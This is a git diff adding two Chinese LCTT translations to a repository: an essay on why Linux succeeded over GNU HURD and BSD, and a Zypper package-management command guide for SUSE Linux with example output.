+[7]:http://itsfoss.com/fix-ubuntu-install-error/ +[8]:http://itsfoss.com/solve-gpg-error-signatures-verified-ubuntu/ +[9]:http://itsfoss.com/solve-badsig-error-quick-tip/ diff --git a/published/201506/20150511 Open Source History--Why Did Linux Succeed.md b/published/201506/20150511 Open Source History--Why Did Linux Succeed.md new file mode 100644 index 0000000000..76b6d03ebe --- /dev/null +++ b/published/201506/20150511 Open Source History--Why Did Linux Succeed.md @@ -0,0 +1,73 @@ +开源旧事:Linux为什么能成功? +================================================================================ +> Linux,这个始于1991年由Linus Torvalds开发的类Unix操作系统内核已经成为开源世界的中心,人们不禁追问为什么Linux成功了,而包括GNU HURD和BSD在内的那么多相似的项目却失败了? + +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2015/05/linux.jpg) + +自由软件和开源世界的发展史中最令人不解的问题之一是为什么Linux取得了如此辉煌的成功,然而其它同样尝试打造自由开源、类Unix操作系统内核的项目却没能那么成功?这个问题难以回答,但我总结了一些原因,在下面与大家分享。 + +不过,首先得明确:当我谈论Linux是一个巨大的成功时所表达的含义。我这样说是相对于其它类Unix操作系统内核的,后者中一些是开源的,一些不是,而且它们繁荣发展的时期是Linux诞生的时期。[GNU][1]的HURD,一个发起于[1991年5月][1]的Free(自由)的内核,便是其中之一。其它的包括现在大部分人都没听说过的Unix,比如由加州大学伯克利分校开发出来的BSD的各种各样Unix衍生版,由微软主导的Unix系统Xenix,包括Minix在内的学术版本Unix,和在AT&T赞助下开发的最初的Unix。在更早的数十年内,它对于学术界和商业界的计算发展至关重要,但到19世纪90年代就已经几乎已经消失在人们的视野里。 + +#### 相关阅读 #### + +- [开源旧事:黑客文化和黑客伦理的起源追踪][3] +- [Unix和个人计算机:重新诠释Linux起源][4] + +此外,得说明的是,我这里说的是内核,而不是完整的操作系统。在很大程度上,Linux内核的成功归功于GNU整个项目。GNU这个项目产生了一套至关重要的工具,包括编译器、调试器和BASH shell的实现,这些对于构建一个类Unix操作系统是必需的。但是GNU的开发者们从没开发出一个HURD内核的可行版本(尽管他们仍在[不懈努力中][5])。相反,Linux呈现出来的则是一个将GNU各个部分紧密连接在一起的内核,尽管这超出了GNU的初衷。 + +因此,值得人们去追问为什么Linux,一个由Linus Torvalds这个芬兰的无名程序员于1991年——和HURD同一年——发起的内核,能够经受考验并发展壮大?在当时的大环境下,很多拥有强力商业支持的、由当时炙手可热的黑客领头的类Unix内核都没能够发展起来。为了说明这个问题,我找到了一些和这个问题相关的解释。为此我研究了自由软件和开源世界的发展史,和不同解释的优缺点。 + +### Linux采用去中心化的开发方式 ### + +这个观点来源于Eric S. Raymond的文章,“[大教堂与市集][6]”和其相关资料。这些资料验证了一种情形:当大量的贡献者以一种去中心化的组织结构持续不断地协同合作时,软件开发的效率最佳。Linux的开发证明了这一点,与之相反的是,比如,GNU HURD采用了一种相对更集中化的方法来管理代码开发。其结果如同Raymond所言,显然在十年的时间里都没能成功构建出一个完整的操作系统。 + +在一定程度上,这个解释有道理,但仍有一些明显的不足。举例来说,Torvalds在指导Linux代码开发过程中毫无争议地承担起一个更加有权威的角色,他可以决定接受或拒绝代码,这一点并非Raymond和其他人所想的那样。其次,这个观点不能解释除了没能开发出一个可行的系统内核外GNU仍然成功地生产出那么多优秀的软件。如果只有去中心化的开发方式才能很好地指导开源软件世界里的项目,那么GNU所有的编程工作都应该是徒劳无功的,但事实并非如此。 + +### Linux是实用型的,而GNU是空想型的 ### + +个人而言,我觉得这个说法是最引人注目的,即Linux之所发展得如此迅速是因为它的创建者是一个实用主义者,他起初只是想写一个内核,使其能够在他家里的电脑上运行一个裁剪过的Unix操作系统,而不是成为以改变世界为目标的自由软件的一部分,而后者正是GNU项目的一贯目标。 + +然而,这个解释仍然有一些不能完全让人信服的地方。特别是,尽管Torvalds本人信奉实用主义的原则,但无论以前还是现在,并非所有参与到他的项目中的成员都和他一样信奉这一原则。尽管如此,Linux仍然取得了成功。 + +而且,如果实用主义是Linux持续发展的关键,那么就要再问一遍:为什么GNU除了没能开发出一个内核外还是成功地开发出这么多有用的工具?如果拥有某一种对软件的坚定政治信仰是追求成功的项目路上的绊脚石,那么GNU早应该是一个彻头彻尾的失败者,而不会是一个开发了那么多如今依然为IT世界提供坚实基础的优秀软件包的开拓者。 + +最后(但并不是最不重要),许多诞生于19世纪80年代末期和90年代初期的Unix变体,尤其是一些BSD分支,都是实用主义的产物。它们的开发者们致力于开发出可以自由分享而不是受到高昂商业证书限制的Unix变体,但他们对于编程或者共享代码并非完全局限于意识形态。Torvalds同样如此,因此很难说Linux和成功和其它Unix项目的失败是意识形态在作怪。 + +### 操作系统设计 ### + +当谈到Linux的成功时,不可忽视的是Linux和其它Unix变体之间的诸多技术差异。Richard Stallman,GNU项目的创始人,在一封给我的电子邮件中解释了为什么HURD的开发进度频频滞后:“GNU Hurd确实不是一次实用上的成功。部分原因是它的基本设计使它像是一个研究项目。(我之所以选择这样的设计,是考虑到这是快速实现一个可用内核的捷径。)” + +就Torvalds独自编写出Linux的所有代码这点而言,Linux也有别于其它Unix变体。当他在1991年8月[第一次发布Linux][7]时他的一个初衷就是拥有一个属于他自己的Unix,而不用别人的代码。这点特性使得Linux区别于同时期的大部分Unix变体,后者一般是从AT&T Unix或伯克利的BSD中衍生出基础代码。 + +我并不是一个计算机科学家,所以我没有资格去评判是否Linux代码就优于其他Unix代码,以此来解释Linux的成功。虽然这并不能解释Linux和其它Unix内核在文化和人员上的不同,但这个观点对我来说解释得通,因为似乎在理解Linux成功这一点上操作系统设计比代码更加重要。 + +### Linux背后的社区提供了有力支持 ### + +Stallman也写到Linux成功的“主要原因”是“Torvalds使Linux成为一个自由软件,所以相比Hurd有更多来自社区的支持涌入Linux的发展中。”但这对于Linux的成长轨迹并非是一个完美的解释,因为它不能说明为什么自由软件的开发者们追随了Torvalds而不是HURD或其它某个Unix,但它仍然点明了这种变化是Linux盛行的很大一部分原因。 + +对于自由软件社区决定支持Linux有一个更全面的理由可以用来解释为什么开发者们这么做。起初,Linux只是一个默默无闻的小项目,以任何标准来衡量,它比同时期其它的一些尝试创建一个更加自由的Unix,比如NET BSD和386/BSD,都要显得微不足道。同样,最初并不清楚Linux和自由软件运动的目标是否一致。创建伊始,Torvalds只是在一份防止Linux不被商业使用的证书下发布了Linux。至于后来他为了保护源代码的开放性转向使用GNU的通用公开证书则是后话了。 + +所以,这些就是我所找到的Linux作为一个开源操作系统之所以取得成功的解释,可以肯定Linux的成就在某些方面(但比如桌面版的Linux从未成为它的支持者希望成为的样子)已经是可以衡量的成功。总之,Linux业已与其它任何类Unix操作系统不同的方式成为了计算机世界的基石。也许源于BSD的苹果公司的OS X和iOS系统也很接近这一点,但它们没有在其它方面像Linux影响互联网一样扮演着如此重要的中心角色。 + +对于为什么Linux能成为现在的样子,或者为什么它在Unix世界的竞争对手们几乎全部变得默默无闻的问题,你有其它的想法吗?如果有,我很乐意听到你的想法。(诚然,BSD的变体如今仍有一批追随者,而一些商用的Unix对于[Red Hat][8](RHT)为[他们的用户提供支持][9]来说也仍然十分重要。但这些Unix中没有一个能够像Linux一样几乎征服了从Web服务器到智能手机的每一个领域。) + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/open-source-application-software-companies/050415/open-source-history-why-did-linux-succeed + +作者:[Christopher Tozzi][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://thevarguy.com/author/christopher-tozzi +[1]:http://gnu.org/ +[2]:http://www.gnu.org/software/hurd/history/hurd-announce +[3]:http://thevarguy.com/open-source-application-software-companies/042915/open-source-history-tracing-origins-hacker-culture-and-ha +[4]:http://thevarguy.com/open-source-application-software-companies/042715/unix-and-personal-computers-reinterpreting-origins-linux +[5]:http://thevarguy.com/open-source-application-software-companies/042015/30-years-hurd-lives-gnu-updates-open-source- +[6]:http://www.catb.org/esr/writings/cathedral-bazaar/cathedral-bazaar/ +[7]:https://groups.google.com/forum/#!topic/comp.os.minix/dlNtH7RRrGA[1-25] +[8]:http://www.redhat.com/ +[9]:http://thevarguy.com/open-source-application-software-companies/032614/red-hat-grants-certification-award-unix-linux-migration-a \ No newline at end of file diff --git a/published/201506/20150512 45 Zypper Commands to Manage 'Suse' Linux Package Management.md b/published/201506/20150512 45 Zypper Commands to Manage 'Suse' Linux Package Management.md new file mode 100644 index 0000000000..0280635408 --- /dev/null +++ b/published/201506/20150512 45 Zypper Commands to Manage 'Suse' Linux Package Management.md @@ -0,0 +1,773 @@ +用于 ‘Suse‘ Linux 包管理的 Zypper 命令大全 +====================================================================== +SUSE( Software and System Entwicklung,即软件和系统开发。其中‘entwicklung‘是德语,意为开发)Linux 是由 Novell 公司在 Linux 内核基础上建立的操作系统。SUSE Linux 有两个发行分支。其中之一名为 openSUSE,这是一款自由而且免费的操作系统 (free as in speech as well as free as in wine)。该系统由开源社区开发维护,支持一些最新版本的应用软件,其最新的稳定版本为 13.2。 + +另外一个分支是 SUSE Linux 企业版。该分支是一个为企业及商业化产品设计的 Linux 发行版,包含了大量的企业应用以及适用于商业产品生产环境的特性。其最新的稳定版本为 12。 + +以下的链接包含了安装企业版 SUSE Linux 服务器的详细信息。 + +- [如何安装企业版 SUSE Linux 12][1] + +Zypper 和 Yast 是 SUSE Linux 平台上的软件包管理工具,他们的底层使用了 RPM(LCTT 译者注:RPM 最初指 Redhat Pacakge Manager ,现普遍解释为递归短语 RPM Package Manager 的缩写)。 + +Yast(Yet another Setup Tool )是 OpenSUSE 以及企业版 SUSE 上用于系统管理、设置和配置的工具。 + +Zypper 是软件包管理器ZYpp的命令行接口,可用于安装、删除SUSE Linux上的软件以及进行系统更新。ZYpp为Zypper和Yast提供底层支持。 + +本文将介绍实际应用中常见的一些Zypper命令。这些命令用来进行安装、更新、删除等任何软件包管理器所能够胜任的工作。 + +**重要** : 切记所有的这些命令都将在系统全局范围内产生影响,所以必须以 root 身份执行,否则命令将失败。 + +### 获取基本的 Zypper 帮助信息 ### + +1. 不带任何选项的执行 zypper, 将输出该命令的全局选项以及子命令列表(LCTT 译者注:全局选项,global option,控制台命令的输入分为可选参数和位置参数两大类。按照习惯,一般可选参数称为选项'option',而位置参数称为参数 'argument')。 + +
#  zypper
+        Usage:
+        zypper [--global-options]
+ +2. 获取一个具体的子命令的帮助信息,比如 'in' (install),可以执行下面的命令 + +
# zypper help in
+ 或者 +
# zypper help install
+    install (in) [options] {capability | rpm_file_uri}
+    
+    Install packages with specified capabilities or RPM files with specified
+    location. A capability is NAME[.ARCH][OP], where OP is one
+    of <, <=, =, >=, >.
+    
+      Command options:
+    --from     Select packages from the specified repository.
+    -r, --repo     Load only the specified repository.
+    -t, --type            Type of package (package, patch, pattern, product, srcpackage).
+                                Default: package.
+    -n, --name                  Select packages by plain name, not by capability.
+    -C, --capability            Select packages by capability.
+    -f, --force                 Install even if the item is already installed (reinstall),
+                                downgraded or changes vendor or architecture.
+        --oldpackage            Allow to replace a newer item with an older one.
+                                Handy if you are doing a rollback. Unlike --force
+                                it will not enforce a reinstall.
+        --replacefiles          Install the packages even if they replace files from other,
+                                already installed, packages. Default is to treat file conflicts
+                                as an error. --download-as-needed disables the fileconflict check.
+    ...... 
+ +3. 安装之前搜索一个安转包(以 gnome-desktop 为例 ) + +
# zypper se gnome-desktop
+    
+    Retrieving repository 'openSUSE-13.2-Debug' metadata ............................................................[done]
+    Building repository 'openSUSE-13.2-Debug' cache .................................................................[done]
+    Retrieving repository 'openSUSE-13.2-Non-Oss' metadata ......................................................... [done]
+    Building repository 'openSUSE-13.2-Non-Oss' cache ...............................................................[done]
+    Retrieving repository 'openSUSE-13.2-Oss' metadata ..............................................................[done]
+    Building repository 'openSUSE-13.2-Oss' cache ...................................................................[done]
+    Retrieving repository 'openSUSE-13.2-Update' metadata ...........................................................[done]
+    Building repository 'openSUSE-13.2-Update' cache ................................................................[done]
+    Retrieving repository 'openSUSE-13.2-Update-Non-Oss' metadata ...................................................[done]
+    Building repository 'openSUSE-13.2-Update-Non-Oss' cache ........................................................[done]
+    Loading repository data...
+    Reading installed packages...
+    
+    S | Name                                  | Summary                                                   | Type
+    --+---------------------------------------+-----------------------------------------------------------+-----------
+      | gnome-desktop2-lang                   | Languages for package gnome-desktop2                      | package
+      | gnome-desktop2                        | The GNOME Desktop API Library                             | package
+      | libgnome-desktop-2-17                 | The GNOME Desktop API Library                             | package
+      | libgnome-desktop-3-10                 | The GNOME Desktop API Library                             | package
+      | libgnome-desktop-3-devel              | The GNOME Desktop API Library -- Development Files        | package
+      | libgnome-desktop-3_0-common           | The GNOME Desktop API Library -- Common data files        | package
+      | gnome-desktop-debugsource             | Debug sources for package gnome-desktop                   | package
+      | gnome-desktop-sharp2-debugsource      | Debug sources for package gnome-desktop-sharp2            | package
+      | gnome-desktop2-debugsource            | Debug sources for package gnome-desktop2                  | package
+      | libgnome-desktop-2-17-debuginfo       | Debug information for package libgnome-desktop-2-17       | package
+      | libgnome-desktop-3-10-debuginfo       | Debug information for package libgnome-desktop-3-10       | package
+      | libgnome-desktop-3_0-common-debuginfo | Debug information for package libgnome-desktop-3_0-common | package
+      | libgnome-desktop-2-17-debuginfo-32bit | Debug information for package libgnome-desktop-2-17       | package
+      | libgnome-desktop-3-10-debuginfo-32bit | Debug information for package libgnome-desktop-3-10       | package
+      | gnome-desktop-sharp2                  | Mono bindings for libgnome-desktop                        | package
+      | libgnome-desktop-2-devel              | The GNOME Desktop API Library -- Development Files        | packag
+      | gnome-desktop-lang                    | Languages for package gnome-desktop                       | package
+      | libgnome-desktop-2-17-32bit           | The GNOME Desktop API Library                             | package
+      | libgnome-desktop-3-10-32bit           | The GNOME Desktop API Library                             | package
+      | gnome-desktop                         | The GNOME Desktop API Library                             | srcpackage
+ +4. 获取一个模式包的信息(以 lamp_server 为例)。 + +
# zypper info -t pattern lamp_server
+    
+    Loading repository data...
+    Reading installed packages...
+    
+    
+    Information for pattern lamp_server:
+    ------------------------------------
+    Repository: openSUSE-13.2-Update
+    Name: lamp_server
+    Version: 20141007-5.1
+    Arch: x86_64
+    Vendor: openSUSE
+    Installed: No
+    Visible to User: Yes
+    Summary: Web and LAMP Server
+    Description: 
+      Software to set up a Web server that is able to serve static, dynamic, and interactive content (like a Web shop). This includes Apache HTTP Server, the database management system MySQL,
+      and scripting languages such as PHP, Python, Ruby on Rails, or Perl.
+    Contents:
+    
+    S | Name                          | Type    | Dependency
+    --+-------------------------------+---------+-----------
+      | apache2-mod_php5              | package |
+      | php5-iconv                    | package |
+    i | patterns-openSUSE-base        | package |
+    i | apache2-prefork               | package |
+      | php5-dom                      | package |
+      | php5-mysql                    | package |
+    i | apache2                       | package |
+      | apache2-example-pages         | package |
+      | mariadb                       | package |
+      | apache2-mod_perl              | package |
+      | php5-ctype                    | package |
+      | apache2-doc                   | package |
+      | yast2-http-server             | package |
+      | patterns-openSUSE-lamp_server | package |
+ +5. 开启一个Zypper Shell 的会话。 + +
# zypper shell 
+ 或者 +
# zypper sh 
+ +
zypper> help
+      Usage:
+    	zypper [--global-options]
+ +**注意**:在 Zypper shell里面可以通过键入 ‘help‘ 获得全局选项以及子命令的列表。 +### Zypper 软件库管理 ### + +#### 列举已定义的软件库 #### + +6. 使用 'zypper repos' 或者 'zypper lr' 来列举所有已定以的软件库。 + +
# zypper repos
+ 或者 +
# zypper lr
+      | Alias                     | Name                               | Enabled | Refresh
+    --+---------------------------+------------------------------------+---------+--------
+    1 | openSUSE-13.2-0           | openSUSE-13.2-0                    | Yes     | No
+    2 | repo-debug                | openSUSE-13.2-Debug                | Yes     | Yes
+    3 | repo-debug-update         | openSUSE-13.2-Update-Debug         | No      | Yes
+    4 | repo-debug-update-non-oss | openSUSE-13.2-Update-Debug-Non-Oss | No      | Yes
+    5 | repo-non-oss              | openSUSE-13.2-Non-Oss              | Yes     | Yes
+    6 | repo-oss                  | openSUSE-13.2-Oss                  | Yes     | Yes
+    7 | repo-source               | openSUSE-13.2-Source               | No      | Yes
+    8 | repo-update               | openSUSE-13.2-Update               | Yes     | Yes
+    9 | repo-update-non-oss       | openSUSE-13.2-Update-Non-Oss       | Yes     | Yes
+ +7. 在表格里面显示 zypper URI + +
# zypper lr -u
+      | Alias                     | Name                               | Enabled | Refresh | URI
+    --+---------------------------+------------------------------------+---------+---------+----------------------------------------------------------------
+    1 | openSUSE-13.2-0           | openSUSE-13.2-0                    | Yes     | No      | cd:///?devices=/dev/disk/by-id/ata-VBOX_CD-ROM_VB2-01700376
+    2 | repo-debug                | openSUSE-13.2-Debug                | Yes     | Yes     | http://download.opensuse.org/debug/distribution/13.2/repo/oss/
+    3 | repo-debug-update         | openSUSE-13.2-Update-Debug         | No      | Yes     | http://download.opensuse.org/debug/update/13.2/
+    4 | repo-debug-update-non-oss | openSUSE-13.2-Update-Debug-Non-Oss | No      | Yes     | http://download.opensuse.org/debug/update/13.2-non-oss/
+    5 | repo-non-oss              | openSUSE-13.2-Non-Oss              | Yes     | Yes     | http://download.opensuse.org/distribution/13.2/repo/non-oss/
+    6 | repo-oss                  | openSUSE-13.2-Oss                  | Yes     | Yes     | http://download.opensuse.org/distribution/13.2/repo/oss/
+    7 | repo-source               | openSUSE-13.2-Source               | No      | Yes     | http://download.opensuse.org/source/distribution/13.2/repo/oss/
+    8 | repo-update               | openSUSE-13.2-Update               | Yes     | Yes     | http://download.opensuse.org/update/13.2/
+    9 | repo-update-non-oss       | openSUSE-13.2-Update-Non-Oss       | Yes     | Yes     | http://download.opensuse.org/update/13.2-non-oss/
+ +8. 根据优先级列举软件库。 + +
# zypper lr -P
+      | Alias                     | Name                               | Enabled | Refresh | Priority
+    --+---------------------------+------------------------------------+---------+---------+---------
+    1 | openSUSE-13.2-0           | openSUSE-13.2-0                    | Yes     | No      |   99
+    2 | repo-debug                | openSUSE-13.2-Debug                | Yes     | Yes     |   99
+    3 | repo-debug-update         | openSUSE-13.2-Update-Debug         | No      | Yes     |   99
+    4 | repo-debug-update-non-oss | openSUSE-13.2-Update-Debug-Non-Oss | No      | Yes     |   99
+    5 | repo-non-oss              | openSUSE-13.2-Non-Oss              | Yes     | Yes     |   85
+    6 | repo-oss                  | openSUSE-13.2-Oss                  | Yes     | Yes     |   99
+    7 | repo-source               | openSUSE-13.2-Source               | No      | Yes     |   99
+    8 | repo-update               | openSUSE-13.2-Update               | Yes     | Yes     |   99
+    9 | repo-update-non-oss       | openSUSE-13.2-Update-Non-Oss       | Yes     | Yes     |   99
+ +#### 刷新软件库 #### + +9. 使用 'zypper refresh' or 'zypper ref' 来刷新 zypper 软件库。 + +
# zypper refresh 
+ 或者 +
# zypper ref
+    Repository 'openSUSE-13.2-0' is up to date.
+    Repository 'openSUSE-13.2-Debug' is up to date.
+    Repository 'openSUSE-13.2-Non-Oss' is up to date.
+    Repository 'openSUSE-13.2-Oss' is up to date.
+    Repository 'openSUSE-13.2-Update' is up to date.
+    Repository 'openSUSE-13.2-Update-Non-Oss' is up to date.
+    All repositories have been refreshed. 
+ +10. 刷新一个指定的软件库(以 'repo-non-oss' 为例 )。 + +
# zypper refresh repo-non-oss
+    Repository 'openSUSE-13.2-Non-Oss' is up to date.
+    Specified repositories have been refreshed. 
+ +11. 强制更新一个软件库(以 'repo-non-oss' 为例 )。 + +
# zypper ref -f repo-non-oss 
+    Forcing raw metadata refresh
+    Retrieving repository 'openSUSE-13.2-Non-Oss' metadata ............................................................[done]
+    Forcing building of repository cache
+    Building repository 'openSUSE-13.2-Non-Oss' cache ............................................................[done]
+    Specified repositories have been refreshed.
+ +#### 修改软件库 #### + +本文中我们使用‘zypper modifyrepo‘ 或者 ‘zypper mr‘ 来关闭或者开启 zypper 软件库。 + +12. 在关闭一个软件库之前,我们需要知道在 zypper 中,每一个软件库有一个唯一的标示数字与之关联,该数字用于打开或者关闭与之相联系的软件库。假设我们需要关闭 'repo-oss' 软件库,那么我们可以通过以下的法来获得该软件库的标志数字。 + +
# zypper lr
+      | Alias                     | Name                               | Enabled | Refresh
+    --+---------------------------+------------------------------------+---------+--------
+    1 | openSUSE-13.2-0           | openSUSE-13.2-0                    | Yes     | No
+    2 | repo-debug                | openSUSE-13.2-Debug                | Yes     | Yes
+    3 | repo-debug-update         | openSUSE-13.2-Update-Debug         | No      | Yes
+    4 | repo-debug-update-non-oss | openSUSE-13.2-Update-Debug-Non-Oss | No      | Yes
+    5 | repo-non-oss              | openSUSE-13.2-Non-Oss              | Yes     | Yes
+    6 | repo-oss                  | openSUSE-13.2-Oss                  | No      | Yes
+    7 | repo-source               | openSUSE-13.2-Source               | No      | Yes
+    8 | repo-update               | openSUSE-13.2-Update               | Yes     | Yes
+    9 | repo-update-non-oss       | openSUSE-13.2-Update-Non-Oss       | Yes     | Yes
+从以上输出的列表中我们可以看到 'repo-oss' 库的标示数字是 6,因此通过以下的命令来关闭该库。 + +
# zypper mr -d 6
+    Repository 'repo-oss' has been successfully disabled.
+ +13. 如果需要再次开启软件库 ‘repo-oss‘, 接上例,与之相关联的标示数字为 6。 + +
# zypper mr -e 6
+    Repository 'repo-oss' has been successfully enabled.
+ +14. 针对某一个软件库(以 'repo-non-oss' 为例 )开启自动刷新( auto-refresh )和 rpm 缓存,并设置该软件库的优先级,比如85。 + +
# zypper mr -rk -p 85 repo-non-oss
+    Repository 'repo-non-oss' priority has been left unchanged (85)
+    Nothing to change for repository 'repo-non-oss'.
+ +15. 对所有的软件库关闭 rpm 文件缓存。 + +
# zypper mr -Ka
+    RPM files caching has been disabled for repository 'openSUSE-13.2-0'.
+    RPM files caching has been disabled for repository 'repo-debug'.
+    RPM files caching has been disabled for repository 'repo-debug-update'.
+    RPM files caching has been disabled for repository 'repo-debug-update-non-oss'.
+    RPM files caching has been disabled for repository 'repo-non-oss'.
+    RPM files caching has been disabled for repository 'repo-oss'.
+    RPM files caching has been disabled for repository 'repo-source'.
+    RPM files caching has been disabled for repository 'repo-update'.
+    RPM files caching has been disabled for repository 'repo-update-non-oss'.
+ +16. 对所有的软件库开启 rpm 文件缓存。 +
# zypper mr -ka
+    RPM files caching has been enabled for repository 'openSUSE-13.2-0'.
+    RPM files caching has been enabled for repository 'repo-debug'.
+    RPM files caching has been enabled for repository 'repo-debug-update'.
+    RPM files caching has been enabled for repository 'repo-debug-update-non-oss'.
+    RPM files caching has been enabled for repository 'repo-non-oss'.
+    RPM files caching has been enabled for repository 'repo-oss'.
+    RPM files caching has been enabled for repository 'repo-source'.
+    RPM files caching has been enabled for repository 'repo-update'.
+    RPM files caching has been enabled for repository 'repo-update-non-oss'.
+ +17. 关闭远程库的 rpm 文件缓存 +
# zypper mr -Kt
+    RPM files caching has been disabled for repository 'repo-debug'.
+    RPM files caching has been disabled for repository 'repo-debug-update'.
+    RPM files caching has been disabled for repository 'repo-debug-update-non-oss'.
+    RPM files caching has been disabled for repository 'repo-non-oss'.
+    RPM files caching has been disabled for repository 'repo-oss'.
+    RPM files caching has been disabled for repository 'repo-source'.
+    RPM files caching has been disabled for repository 'repo-update'.
+    RPM files caching has been disabled for repository 'repo-update-non-oss'.
+ +18. 开启远程软件库的 rpm 文件缓存。 +
# zypper mr -kt
+    RPM files caching has been enabled for repository 'repo-debug'.
+    RPM files caching has been enabled for repository 'repo-debug-update'.
+    RPM files caching has been enabled for repository 'repo-debug-update-non-oss'.
+    RPM files caching has been enabled for repository 'repo-non-oss'.
+    RPM files caching has been enabled for repository 'repo-oss'.
+    RPM files caching has been enabled for repository 'repo-source'.
+    RPM files caching has been enabled for repository 'repo-update'.
+    RPM files caching has been enabled for repository 'repo-update-non-oss'.
+ +#### 增加新的软件库 #### + +可以通过这两个 zypper 指令 – 'zypper addrepo' 和 'zypper ar' 来增加新的软件库。在此过程中可以使用 URL 或者软件库的别名。 + +19. 增加一个新的软件库( 以 “http://download.opensuse.org/update/12.3/” 为例 )。 + +
# zypper ar http://download.opensuse.org/update/11.1/ update
+    Adding repository 'update' .............................................................................................................................................................[done]
+    Repository 'update' successfully added
+    Enabled     : Yes
+    Autorefresh : No
+    GPG check   : Yes
+    URI         : http://download.opensuse.org/update/11.1/
+ +20. 更改一个软件库的名字,这将仅仅改变软件库的别名。 命令 'zypper namerepo' 或者 'zypperr nr' 可以胜任此工作。例如更改标示数字为10的软件库的名字为 'upd8',或者说将标示数字为10的软件库的别名改为 'upd8',可以使用下面的命令。 + +
# zypper nr 10 upd8
+    Repository 'update' renamed to 'upd8'.
+ +#### 删除软件库 #### + +21. 删除一个软件库。要从系统删除一个软件库可以使 'zypper removerepo' 或者 'zypper rr'。例如以下的命令可以删除软件库 'upd8' + +
# zypper rr upd8
+    # Removing repository 'upd8' .........................................................................................[done]
+    Repository 'upd8' has been removed.
+ +### 使用 zypper 进行软件包管理 ### + +#### 用 zypper 安装一个软件包 #### + +22. 在 zypper 中,我们可以通过软件包的功能名称来安装一个软件包。以 Firefox 为例,以下的命令可以用来安装该软件包。 + +
# zypper in MozillaFirefox
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    The following 128 NEW packages are going to be installed:
+      adwaita-icon-theme at-spi2-atk-common at-spi2-atk-gtk2 at-spi2-core cantarell-fonts cups-libs desktop-file-utils fontconfig gdk-pixbuf-query-loaders gstreamer gstreamer-fluendo-mp3
+      gstreamer-plugins-base gtk2-branding-openSUSE gtk2-data gtk2-immodule-amharic gtk2-immodule-inuktitut gtk2-immodule-thai gtk2-immodule-vietnamese gtk2-metatheme-adwaita
+      gtk2-theming-engine-adwaita gtk2-tools gtk3-data gtk3-metatheme-adwaita gtk3-tools hicolor-icon-theme hicolor-icon-theme-branding-openSUSE libasound2 libatk-1_0-0 libatk-bridge-2_0-0
+      libatspi0 libcairo2 libcairo-gobject2 libcanberra0 libcanberra-gtk0 libcanberra-gtk2-module libcanberra-gtk3-0 libcanberra-gtk3-module libcanberra-gtk-module-common libcdda_interface0
+      libcdda_paranoia0 libcolord2 libdrm2 libdrm_intel1 libdrm_nouveau2 libdrm_radeon1 libFLAC8 libfreebl3 libgbm1 libgdk_pixbuf-2_0-0 libgraphite2-3 libgstapp-1_0-0 libgstaudio-1_0-0
+      libgstpbutils-1_0-0 libgstreamer-1_0-0 libgstriff-1_0-0 libgsttag-1_0-0 libgstvideo-1_0-0 libgthread-2_0-0 libgtk-2_0-0 libgtk-3-0 libharfbuzz0 libjasper1 libjbig2 libjpeg8 libjson-c2
+      liblcms2-2 libLLVM libltdl7 libnsssharedhelper0 libogg0 liborc-0_4-0 libpackagekit-glib2-18 libpango-1_0-0 libpciaccess0 libpixman-1-0 libpulse0 libsndfile1 libsoftokn3 libspeex1
+      libsqlite3-0 libstartup-notification-1-0 libtheoradec1 libtheoraenc1 libtiff5 libvisual libvorbis0 libvorbisenc2 libvorbisfile3 libwayland-client0 libwayland-cursor0 libwayland-server0
+      libX11-xcb1 libxcb-dri2-0 libxcb-dri3-0 libxcb-glx0 libxcb-present0 libxcb-render0 libxcb-shm0 libxcb-sync1 libxcb-util1 libxcb-xfixes0 libXcomposite1 libXcursor1 libXdamage1 libXevie1
+      libXfixes3 libXft2 libXi6 libXinerama1 libxkbcommon-0_4_3 libXrandr2 libXrender1 libxshmfence1 libXtst6 libXv1 libXxf86vm1 Mesa Mesa-libEGL1 Mesa-libGL1 Mesa-libglapi0
+      metatheme-adwaita-common MozillaFirefox MozillaFirefox-branding-openSUSE mozilla-nss mozilla-nss-certs PackageKit-gstreamer-plugin pango-tools sound-theme-freedesktop
+
+    The following 10 recommended packages were automatically selected:
+      gstreamer-fluendo-mp3 gtk2-branding-openSUSE gtk2-data gtk2-immodule-amharic gtk2-immodule-inuktitut gtk2-immodule-thai gtk2-immodule-vietnamese libcanberra0 libpulse0
+      PackageKit-gstreamer-plugin
+    
+    128 new packages to install.
+    Overall download size: 77.2 MiB. Already cached: 0 B  After the operation, additional 200.0 MiB will be used.
+    Continue? [y/n/? shows all options] (y): y
+    Retrieving package cantarell-fonts-0.0.16-1.1.noarch                                                                                                   (1/128),  74.1 KiB (115.6 KiB unpacked)
+    Retrieving: cantarell-fonts-0.0.16-1.1.noarch.rpm .........................................................................................................................[done (63.4 KiB/s)]
+    Retrieving package hicolor-icon-theme-0.13-2.1.2.noarch                                                                                                (2/128),  40.1 KiB ( 50.5 KiB unpacked)
+    Retrieving: hicolor-icon-theme-0.13-2.1.2.noarch.rpm ...................................................................................................................................[done]
+    Retrieving package sound-theme-freedesktop-0.8-7.1.2.noarch                                                                                            (3/128), 372.6 KiB (460.3 KiB unpacked) 
+ +23. 安装指定版本号的软件包,(以 gcc 5.1 为例)。 + +
# zypper in 'gcc<5.1'
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    The following 13 NEW packages are going to be installed:
+      cpp cpp48 gcc gcc48 libasan0 libatomic1-gcc49 libcloog-isl4 libgomp1-gcc49 libisl10 libitm1-gcc49 libmpc3 libmpfr4 libtsan0-gcc49
+
+    13 new packages to install.
+    Overall download size: 14.5 MiB. Already cached: 0 B  After the operation, additional 49.4 MiB will be used.
+    Continue? [y/n/? shows all options] (y): y 
+ +24. 为特定的CPU架构安装软件包(以兼容 i586 的 gcc 为例)。 + +
# zypper in gcc.i586
+    Loading repository data...
+    Reading installed packages...
+    Resolving package dependencies...
+
+    The following 13 NEW packages are going to be installed:
+      cpp cpp48 gcc gcc48 libasan0 libatomic1-gcc49 libcloog-isl4 libgomp1-gcc49 libisl10 libitm1-gcc49 libmpc3 libmpfr4 libtsan0-gcc49
+
+    13 new packages to install.
+    Overall download size: 14.5 MiB. Already cached: 0 B  After the operation, additional 49.4 MiB will be used.
